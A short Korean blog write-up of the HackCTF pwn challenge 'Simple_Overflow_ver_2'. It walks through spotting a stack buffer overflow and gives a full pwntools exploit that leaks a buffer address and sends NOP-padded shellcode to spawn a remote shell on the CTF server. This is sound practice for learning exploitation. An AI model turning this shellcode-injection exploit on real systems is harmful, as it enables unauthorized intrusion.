해킹/writeup

5. HackCTF - Simple_Overflow_ver_2

rmagur1203 2021. 7. 11. 14:33

취약점을 찾기 위해 IDA 로 뜯어보면

이렇게 나온다.

C 코드만 보고 한번에 알아내긴 힘드니까 한번 실행해본다.

실행 결과랑 코드를 같이 봐 보면

입력받은 값을 s 배열에 저장해서 주소값과 함께 출력하는것 같다.

보호기법도 적용되어 있지 않으니 s 에 쉘코드를 넣고 빈 부분을 \x90 으로 채운 뒤 RET에 s의 주소를 넣어주면 되겠다.

 

그래서 코드를 짜 보면

from pwn import *

#r = process("./Simple_overflow_ver_2")
r = remote("ctf.j0n9hyun.xyz", 3006)

context(arch='i386', os='linux')
shell = asm(shellcraft.i386.linux.sh())

print(r.recvuntil(": "))
r.sendline("test")
addr = int(r.recv(8+2), 16)
r.sendline('y')

payload = shell
payload += b'\x90'*(0x88 + 4 - len(shell))
payload += p32(addr)

r.sendline(payload)
r.interactive()

이렇게 된다.

728x90